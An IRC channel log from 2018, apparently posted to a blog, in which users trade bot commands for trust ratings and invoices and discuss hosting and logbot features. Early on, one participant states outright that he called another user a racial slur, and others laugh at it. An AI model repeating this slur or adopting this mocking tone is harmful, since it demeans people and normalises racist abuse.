deedbot: 2018/03/08 17:52:20 <phf> lisp failed to even identify the need for ffi, when it was standardized i don't think there even were lisps that could or needed to ffi, since they all ran on lisp machines [12:42]
asciilifeform: wakeup phf. yer bot ran away. [12:42]
douchebag: danielpbarron called me the n word [12:44]
asciilifeform: !!reputation douchebag [12:45]
deedbot: http://p.bvulpes.com/pastes/XhTIf/?raw=true [12:45]
douchebag: I don't mind, but I just wanted to make sure that was on the record [12:45]
danielpbarron: he means nigger, i called him a nigger [12:45]
asciilifeform: !!down douchebag [12:45]
asciilifeform: oughta do the job nao. [12:45]
ben_vulpes: ahahahaha [12:46]
asciilifeform: and pretty good lastwords. [12:46]
ben_vulpes: with the fucking tattling, epic [12:46]
ben_vulpes: you know i think this is actually a devious plot to murder elements of the lordship with excessive laughter [12:46]
ben_vulpes: because i'm fuckin dying over here [12:47]
asciilifeform: he oughta join up with that other critter, that orbits ben_vulpes [12:47]
asciilifeform: what was it, btcvixen ? [12:47]
ben_vulpes: aha [12:47]
asciilifeform: whatever happened to it [12:47]
ben_vulpes: utterly no idea [12:48]
deedbot: http://trilema.com/2018/frank-the-experimental-biologist/ << Trilema - Frank the experimental biologist [12:53]
mircea_popescu: http://btcbase.org/log/2018-03-23#1789216 << cool. [13:50]
mircea_popescu: http://btcbase.org/log/2018-03-23#1789245 << do all that in pm will you. [13:51]
mircea_popescu: http://btcbase.org/log/2018-03-23#1789280 << that's nothing bot used to be called assbot. [13:52]
lobbes: mircea_popescu: phf logbot appears down. You may have missed some lulzy log lines: http://logs.bvulpes.com/trilema [13:54]
mircea_popescu: a ty [13:54]
mircea_popescu: i was trying to figure out wtf is going on, which link in the chain is not performing. [13:55]
mircea_popescu: in other news, earthquake last night unhooked this coil of rope that was resting inside an anal hook hanging from the ceiling of a corridor. plus knocked over girl's essential oils bottles, sent some coffee bags off to seek their fortune about the kitchen floor and so forth! [13:56]
asciilifeform: aalmost may as well live in jp neh [13:57]
mircea_popescu: it's getting pretty crazy. [13:57]
asciilifeform: ( this is... 3rd ? one on mircea_popescu's watch ? this yr ) [13:57]
mircea_popescu: 2nd this week at any rate [13:58]
mircea_popescu: prolly a dozen or so this year. [13:59]
asciilifeform: quasi-relatedly, did mircea_popescu ever learn jp lang ? [13:59]
asciilifeform: it is entertainingly martian [13:59]
mircea_popescu: but there was a major 7.0 one a year or so back yeah [13:59]
mircea_popescu: asciilifeform never did, no. [13:59]
asciilifeform: i don't know of any practical reason to but strictly for mental muscle build, it is notbad [14:00]
mircea_popescu: i guess. [14:00]
asciilifeform: ( disregarding, even, the hieroglyphs : picture eurolang with declensions , but instead of inflecting nouns per se, they are standalone words, 'particles' . and instead of 6 or 7, there's a coupla dozen. ) [14:04]
mircea_popescu: meh. [14:06]
mircea_popescu: butt in other lulz, http://trilema.com/wp-content/themes/trilema/images/bg_mar2018.jpg [14:08]
lobbes: In other news, my spiffy new mp-wp blog is now live: http://lobbesblog.com/blog/ [14:30]
lobbes: Post detailing my own compendium of notes to come prolly tonight. Aim is for it to supplement hanbot's existing compendium (e.g. will include notes on how to prime mysql and wp-config.php for mp-wp's auto table-creation process) [14:30]
mircea_popescu: nice! [14:35]
mircea_popescu: someone should prolly make some themes for these... [14:36]
mircea_popescu: in fact, there is a TON of work for a competent art guy. eulora needs stuff i want to get a porny comic off the ground mp-wp needs theme work... [14:36]
mircea_popescu: anyone know a starving artist that's ACTUALLY GOOD ? [14:36]
mircea_popescu: http://logs.bvulpes.com/trilema?d=2018-3-23#318265 << well it's one of the few places accessible from the internet where anyone actually reads anything. that's kinda why. [14:48]
mimisbrunnr: Logged on 2018-03-23 16:22 douchebag: I don't see why every single thing that happens in this channel has to turn into some big ordeal [14:48]
mircea_popescu: http://logs.bvulpes.com/trilema?d=2018-3-23#318278 << what, all it does is he can't auto-up anymore, no need to auto-devoice is there. [14:49]
mimisbrunnr: Logged on 2018-03-23 16:26 asciilifeform: um trinque ? [14:49]
mircea_popescu: !!gettrust douchebag [14:50]
deedbot: L1: 1, L2: -1 by 3 connections. [14:50]
mircea_popescu: http://logs.bvulpes.com/trilema?d=2018-3-23#318281 lel [14:50]
mimisbrunnr: Logged on 2018-03-23 16:26 deedbot: L1: -1, L2: 3 by 3 connections. [14:50]
mircea_popescu: trinque there's something amiss here i see 4 ratings from 4 people in teh l1, how can it be +1 ? should be 0 no ? [14:53]
trinque: !!gettrust deedbot douchebag [14:57]
deedbot: L1: 0, L2: 0 by 4 connections. [14:57]
mircea_popescu: ah ok [14:57]
trinque: that was measured from herr alf [14:57]
mircea_popescu: oh i see [14:58]
mircea_popescu: makes sense. [14:58]
mircea_popescu: anyway douchebag come up with something interesting, i'll voice you so you can announce it. [14:59]
mircea_popescu: ben_vulpes plox put a favicon on your log site, i can't pick it out of the tabline. [15:06]
ben_vulpes: mircea_popescu: ack [15:07]
deedbot: http://pizarroisp.net/index.php/2018/03/pizarro-shared-hosting-a-screaming-deal-for-0003-btcmo/ << PizzaroISP - Pizarro Shared Hosting - a screaming deal for 0.003 BTC/mo! [16:18]
diana_coman: uhm, page not found? link should be http://pizarroisp.net/pizarro-shared-hosting-a-screaming-deal-for-0003-btcmo/ (without index.php) [16:19]
ben_vulpes: i did not realize that previously published permalinks would break when switching to the slug [16:21]
ben_vulpes: aight well i switched it back for now but that's awful and will have to get fixed [16:24]
mircea_popescu: i dun think they break, you got some other bug in there. [16:29]
mircea_popescu: pizarro.net/pi also 404s, for instance [16:56]
ben_vulpes: aaayup [16:58]
ben_vulpes: well once we have hanbot up and running with an mp-wp produced from her patches i'll move this over to that setup [16:59]
ben_vulpes: !!invoice danielpbarron .00077419 8 prorated days of shared hosting (march) [18:56]
deedbot: Get your OTP: http://p.bvulpes.com/pastes/mwF1J/?raw=true [18:56]
ben_vulpes: !!v D36B2DA16801DD29974345218BE070ADF8EF027B47EF75F04DC3F8D6457F9B5E [18:56]
deedbot: Invoiced danielpbarron .00077419 << 8 prorated days of shared hosting (march) [18:56]
ben_vulpes: !!key danielpbarron [19:01]
deedbot: http://wot.deedbot.org/155934BDD16E8EAF4493CB9CB36AE9849D961AC9.asc [19:01]
lobbes: !!balance [20:11]
deedbot: http://p.bvulpes.com/pastes/AvsQe/?raw=true [20:11]
mircea_popescu: !!up douchebag [20:29]
deedbot: douchebag voiced for 30 minutes. [20:29]
douchebag: Okay, so this should be quite trivial [20:29]
douchebag: This is a logged channel, unless invoices and withdrawls were made in PM. The balances could be determined by viewing the logs. [20:30]
mircea_popescu: ... [20:31]
douchebag: It's true though. [20:31]
mircea_popescu: obviously if someone wants to make something public, then that someone made that something public. [20:31]
mircea_popescu: you've got quite the hard-on for the trivial case, don't you ? [20:31]
douchebag: Okay, down me then. [20:31]
mircea_popescu: not even a terrible idea, but... [20:31]
douchebag: I'll continue pressing this bots buttons [20:32]
mircea_popescu: just don't make a lot of noise in channel. [20:32]
douchebag: okay <3 [20:33]
asciilifeform: !~later tell BingoBoingo http://p.bvulpes.com/pastes/8QtVj/?raw=true [20:33]
shinohai: kek, these logs today. When you piss mod6 off, you know it's real. [20:37]
asciilifeform: !~later tell BingoBoingo corrected ver http://p.bvulpes.com/pastes/KEJxg/?raw=true [20:44]
shinohai: heh jhvh1 down. Try lobbesbot [20:45]
asciilifeform: i do not know the magic for it [20:46]
lobbes: !Q [20:46]
shinohai: Since I ported everything over to the trinque model (since yes I *did* find the sauce) prolly won't put it back up. [20:46]
lobbes: or the whole thing: !Qlater tell [20:46]
asciilifeform: !Qlater tell BingoBoingo corrected ver http://p.bvulpes.com/pastes/KEJxg/?raw=true [20:46]
lobbesbot: asciilifeform: The operation succeeded. [20:46]
asciilifeform: ty lobbes , shinohai [20:47]
lobbes: oh nice shinohai. you got the markets thing working in lisp? [20:47]
shinohai: The --market all thing still needs work, but ticker works. You should probably take over the gribble functions though. [20:48]
lobbes: word. which ones are needed? [20:49]
shinohai: I can tar the plugins up for you if you need 'em. [20:50]
shinohai: Might be a few days though, plate been kinda full of late. [20:50]
lobbes: that works. Honestly could be a bit before I get to them anyways [20:51]
lobbes: I could always just slap up a separate gribble instance with this new pizarro shell tho. May be the cleanest that way actually. [20:52]
mircea_popescu: become the first man with two bots ? [20:52]
lobbes: no way I could be the first? [20:52]
lobbes: for some reason I want to say someone else had two, but I cannot produce a person so mebbe not [20:53]
asciilifeform: possibly old man kako [20:53]
mircea_popescu: ben_vulpes there's no "from" op in your logotron is there ? [20:55]
shinohai: Will do lobbes .... been busy setting up a binhost for personal use, so I don't have to compile the same goddamned packages 5,420 times. [20:57]
mircea_popescu: http://logs.bvulpes.com/search?q=%22qntra.net%22&c=trilema <<< ahem [20:59]
shinohai: Removing quotes woks [20:59]
shinohai: *works [20:59]
mircea_popescu: oh it has implicit quotes i see [21:00]
ben_vulpes: i have two bots [21:00]
ben_vulpes: no from op, implicit quotes [21:00]
mircea_popescu: http://logs.bvulpes.com/trilema?d=2018-3-23#318191 << napoleon choice, it's the only sensible choice. us wants to go out with a bang! like france! everything must be done like france! [21:00]
mimisbrunnr: Logged on 2018-03-23 16:03 deedbot: http://qntra.net/2018/03/moves-in-trump-administration-signal-the-remains-of-the-us-moving-into-a-more-aggressive-posture/ << Qntra - Moves In Trump Administration Signal The Remains Of The US Moving Into A More Aggressive Posture [21:00]
ben_vulpes: both of which are irksome, yes [21:01]
mircea_popescu: ben_vulpes the quotes i don't mind much but i need the from, can't find shit like what spyked said otherwise so i missed a "you have two" refernece, because apparently i only made a ro one on trilema and wtf. [21:01]
ben_vulpes: roger [21:10]
Category: Logs
Comments feed : RSS 2.0. Leave your own comment below, or send a trackback.
Add your cents! »
    If this is your first comment, it will wait to be approved. This usually takes a few hours. Subsequent comments are not delayed.